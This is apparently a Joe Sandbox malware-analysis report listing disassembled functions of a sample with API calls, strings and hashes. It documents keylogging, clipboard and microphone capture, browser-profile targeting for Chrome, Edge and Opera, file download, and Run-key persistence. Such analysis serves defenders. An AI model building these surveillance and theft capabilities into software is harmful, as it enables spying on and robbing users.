                                            • String ID: pow
                                            • API String ID: 3213639722-2276729525
                                            • Opcode ID: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                                            • Instruction ID: c2a334fe3ab53b67a82bc2a1da04863f7f1ed5e2a579c87dfbcc8ae8a095d349
                                            • Opcode Fuzzy Hash: ae0341c24035669086af68b363e9d44c4063f2ceb2f02d621ae22780893f867c
                                            • Instruction Fuzzy Hash: C6516DA1E0420296FB167B14CE4137B2BA4DB40751F704D7FF096823AAEB7D8C859A4F
                                            Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                            • __Init_thread_footer.LIBCMT ref: 0040B797
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Init_thread_footer__onexit
                                            • String ID: [End of clipboard]$[Text copied to clipboard]
                                            • API String ID: 1881088180-3686566968
                                            • Opcode ID: 1452d6304ce3f0295fff478f129f85fb29fa27eb4ce50424bc2e0dcad400a5b7
                                            • Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
                                            • Opcode Fuzzy Hash: 1452d6304ce3f0295fff478f129f85fb29fa27eb4ce50424bc2e0dcad400a5b7
                                            • Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C
                                            Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: ACP$OCP
                                            • API String ID: 0-711371036
                                            • Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                                            • Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
                                            • Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
                                            • Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C
                                            Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            • GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087
                                            Strings
                                            • KeepAlive | Enabled | Timeout: , xrefs: 0040501F
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LocalTime
                                            • String ID: KeepAlive | Enabled | Timeout:
                                            • API String ID: 481472006-1507639952
                                            • Opcode ID: 94476530adddf729a94900e8ced82c90480f790f78fd79a0466f5c5f7008df8a
                                            • Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
                                            • Opcode Fuzzy Hash: 94476530adddf729a94900e8ced82c90480f790f78fd79a0466f5c5f7008df8a
                                            • Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF
                                            Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • Sleep.KERNEL32 ref: 00416640
                                            • URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DownloadFileSleep
                                            • String ID: !D@
                                            • API String ID: 1931167962-604454484
                                            • Opcode ID: 07a7ba679a22719b007f27f942da87136b12813d5d7402b4186b0f1ae2008f5d
                                            • Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
                                            • Opcode Fuzzy Hash: 07a7ba679a22719b007f27f942da87136b12813d5d7402b4186b0f1ae2008f5d
                                            • Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A
                                            Function 0041B4EF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LocalTime
                                            • String ID: | $%02i:%02i:%02i:%03i
                                            • API String ID: 481472006-2430845779
                                            • Opcode ID: 0b58fb712609a629be2860926311a3a1d9782cd388fbf364b696734300abae58
                                            • Instruction ID: b0c371a91d376d28eb23a1cf2c2b6b2589463c7c7bf84255da33bc44f247512a
                                            • Opcode Fuzzy Hash: 0b58fb712609a629be2860926311a3a1d9782cd388fbf364b696734300abae58
                                            • Instruction Fuzzy Hash: 361181714082055AC304EB62D8419BFB3E9AB44348F50093FF895A21E1EF3CDA49C65A
                                            Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                            Download Yara Rule
                                            APIs
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: alarm.wav$hYG
                                            • API String ID: 1174141254-2782910960
                                            • Opcode ID: 0e1c4e1224622d2e2eba9349cd815abebc3d2b7a1c969d03ea25083f5c27e476
                                            • Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
                                            • Opcode Fuzzy Hash: 0e1c4e1224622d2e2eba9349cd815abebc3d2b7a1c969d03ea25083f5c27e476
                                            • Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F
                                            Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,?), ref: 0040B172
                                              • Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3
                                              • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                                            • CloseHandle.KERNEL32(?), ref: 0040B0B4
                                            • UnhookWindowsHookEx.USER32 ref: 0040B0C7
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
                                            • String ID: Online Keylogger Stopped
                                            • API String ID: 1623830855-1496645233
                                            • Opcode ID: 14d91ba3cc0780b58bc46c93ea61c46197eef5bd77683ed78bbf46c7536d2da3
                                            • Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
                                            • Opcode Fuzzy Hash: 14d91ba3cc0780b58bc46c93ea61c46197eef5bd77683ed78bbf46c7536d2da3
                                            • Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE
                                            Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                            Download Yara Rule
                                            APIs
                                            • waveInPrepareHeader.WINMM(?,00000020,?), ref: 00401849
                                            • waveInAddBuffer.WINMM(?,00000020), ref: 0040185F
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: wave$BufferHeaderPrepare
                                            • String ID: XMG
                                            • API String ID: 2315374483-813777761
                                            • Opcode ID: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                                            • Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
                                            • Opcode Fuzzy Hash: 84db4ebe13300bab6e2e85a4a45c37fcad2fa82ad9d185d6556c2711ca00a3b1
                                            • Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8
                                            Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LocaleValid
                                            • String ID: IsValidLocaleName$JD
                                            • API String ID: 1901932003-2234456777
                                            • Opcode ID: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                                            • Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
                                            • Opcode Fuzzy Hash: 8ed56ec59b6d4db5e47e15cf77ebd157549768ac78bfa39ea2b76d2b56dc7c94
                                            • Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E
                                            Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                            Download Yara Rule
                                            APIs
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: UserProfile$\AppData\Local\Google\Chrome\
                                            • API String ID: 1174141254-4188645398
                                            • Opcode ID: d6df45e634b6afbccae3fd0fe3c480d2b3110c006c85663e0c742c56e2ad0e6a
                                            • Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
                                            • Opcode Fuzzy Hash: d6df45e634b6afbccae3fd0fe3c480d2b3110c006c85663e0c742c56e2ad0e6a
                                            • Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE
                                            Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                            Download Yara Rule
                                            APIs
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C559
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: UserProfile$\AppData\Local\Microsoft\Edge\
                                            • API String ID: 1174141254-2800177040
                                            • Opcode ID: 6b2bbaa95f382bae7588de9092395feb5a0607f01bf817232799a9fc0a715970
                                            • Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
                                            • Opcode Fuzzy Hash: 6b2bbaa95f382bae7588de9092395feb5a0607f01bf817232799a9fc0a715970
                                            • Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE
                                            Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON
                                            Download Yara Rule
                                            APIs
                                            • PathFileExistsW.SHLWAPI(00000000), ref: 0040C5BC
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExistsFilePath
                                            • String ID: AppData$\Opera Software\Opera Stable\
                                            • API String ID: 1174141254-1629609700
                                            • Opcode ID: eb22ca10a5fa219f5c4dc8a07dafa017cd8c89abc0008a47340e43b7a4e1140f
                                            • Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
                                            • Opcode Fuzzy Hash: eb22ca10a5fa219f5c4dc8a07dafa017cd8c89abc0008a47340e43b7a4e1140f
                                            • Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA
                                            Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyState.USER32(00000011), ref: 0040B64B
                                              • Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
                                              • Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
                                              • Part of subcall function 0040A3E0: GetKeyboardLayout.USER32 ref: 0040A429
                                              • Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
                                              • Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
                                              • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A461
                                              • Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A4C1
                                              • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
                                            • String ID: [AltL]$[AltR]
                                            • API String ID: 2738857842-2658077756
                                            • Opcode ID: 440f2a55e07645c447245340f9966782ae35bb9e0b4477c7a4060e7ad180e5fa
                                            • Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
                                            • Opcode Fuzzy Hash: 440f2a55e07645c447245340f9966782ae35bb9e0b4477c7a4060e7ad180e5fa
                                            • Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF
                                            Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                                            • GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: uD
                                            • API String ID: 0-2547262877
                                            • Opcode ID: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                                            • Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
                                            • Opcode Fuzzy Hash: c5b08800a69d4838b4f5beafbc063674321feb547ffb76a205f46ddd03b66443
                                            • Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49
                                            Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON
                                            Download Yara Rule
                                            APIs
                                            • ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ExecuteShell
                                            • String ID: !D@$open
                                            • API String ID: 587946157-1586967515
                                            • Opcode ID: ef1b3a0f4602e6d199ecf0e45d17a7acf077c1a045a33f1301243906c424f492
                                            • Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
                                            • Opcode Fuzzy Hash: ef1b3a0f4602e6d199ecf0e45d17a7acf077c1a045a33f1301243906c424f492
                                            • Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A
                                            Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetKeyState.USER32(00000012), ref: 0040B6A5
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: State
                                            • String ID: [CtrlL]$[CtrlR]
                                            • API String ID: 1649606143-2446555240
                                            • Opcode ID: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                                            • Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
                                            • Opcode Fuzzy Hash: 74451c87ab4e18a563cce8b4b99f8aefb6389db58d63b1dc50ea5b4c36b24e36
                                            • Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF
                                            Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776
                                            • __Init_thread_footer.LIBCMT ref: 00410F29
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Init_thread_footer__onexit
                                            • String ID: ,kG$0kG
                                            • API String ID: 1881088180-2015055088
                                            • Opcode ID: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                                            • Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
                                            • Opcode Fuzzy Hash: 3543072a86426642cb3d95922a277c4e502be0bac8cf48ffd361c80e3a631357
                                            • Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D
                                            Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            • Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DeleteOpenValue
                                            • String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
                                            • API String ID: 2654517830-1051519024
                                            • Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                            • Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
                                            • Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
                                            • Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668
                                            Function 0040B869 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteFileW.KERNEL32(00000000,?,pth_unenc), ref: 0040B876
                                            • RemoveDirectoryW.KERNEL32(00000000,?,pth_unenc), ref: 0040B8A1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DeleteDirectoryFileRemove
                                            • String ID: pth_unenc
                                            • API String ID: 3325800564-4028850238
                                            • Opcode ID: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                                            • Instruction ID: 8281cfb8de641f04b50c20d0c8e921e0d4b8d2282f61a3be21f0805504db5409
                                            • Opcode Fuzzy Hash: f0c530d5f410f6e48232dff94e8b4526202df80a5f9212f67769b953604160dd
                                            • Instruction Fuzzy Hash: 45E046321007119BCB14AB258C48AD6339CAF0031AF00486FA492A32A1DF38AC09CAA8
                                            Function 00412850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • TerminateProcess.KERNEL32(00000000,pth_unenc,0040F8C8), ref: 00412860
                                            • WaitForSingleObject.KERNEL32(000000FF), ref: 00412873
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ObjectProcessSingleTerminateWait
                                            • String ID: pth_unenc
                                            • API String ID: 1872346434-4028850238
                                            • Opcode ID: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                                            • Instruction ID: 1c2a9d3d993a2aa40768a62e13ec0bdc830226799852dc8a6b6faba0c59f1205
                                            • Opcode Fuzzy Hash: 1b0d5640518fcde21729cf1b02f36aec3fd37732ecf9f275e44c4103a8157302
                                            • Instruction Fuzzy Hash: 2FD01234189312FFD7350F60EE4DB043B98A705362F140265F428512F1C7A58994EA59
                                            Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
                                            • GetLastError.KERNEL32 ref: 00440D35
                                            • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharMultiWide$ErrorLast
                                            • String ID:
                                            • API String ID: 1717984340-0
                                            • Opcode ID: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                                            • Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
                                            • Opcode Fuzzy Hash: 06151d672a34678faa0f1c8d5979b725e0733317c82078799b35041d461e39d5
                                            • Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759
                                            Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON
                                            Download Yara Rule
                                            APIs
                                            • IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,00411EF0), ref: 00411B8C
                                            • IsBadReadPtr.KERNEL32(?,00000014,00411EF0), ref: 00411C58
                                            • SetLastError.KERNEL32(0000007F,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411C7A
                                            • SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastRead
                                            • String ID:
                                            • API String ID: 4100373531-0
                                            • Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                                            • Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
                                            • Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
                                            • Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99

                                            Executed Functions

                                            Function 036E0FC1 Relevance: .0, Instructions: 5COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000013.00000003.456631418.00000000036E0000.00000010.00000800.00020000.00000000.sdmp, Offset: 036E0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_19_3_36e0000_mshta.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
                                            • Instruction ID: 8d46a89be4051d36f0c6dcc725d38e9d4cac1c01e0afc510f0298f0dcb3fa18d
                                            • Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
                                            • Instruction Fuzzy Hash:
                                            Function 036E0FB9 Relevance: .0, Instructions: 5COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 00000013.00000003.456631418.00000000036E0000.00000010.00000800.00020000.00000000.sdmp, Offset: 036E0000, based on PE: false
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_19_3_36e0000_mshta.jbxd
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
                                            • Instruction ID: 8d46a89be4051d36f0c6dcc725d38e9d4cac1c01e0afc510f0298f0dcb3fa18d
                                            • Opcode Fuzzy Hash: 1415cf9a5ff05e0c22260e06ba58a54442f36ca97d8c14ea786cf574e69d5164
                                            • Instruction Fuzzy Hash:

                                            Execution Graph

                                            Execution Coverage:10.3%
                                            Dynamic/Decrypted Code Coverage:100%
                                            Signature Coverage:0%
                                            Total number of Nodes:21
                                            Total number of Limit Nodes:0
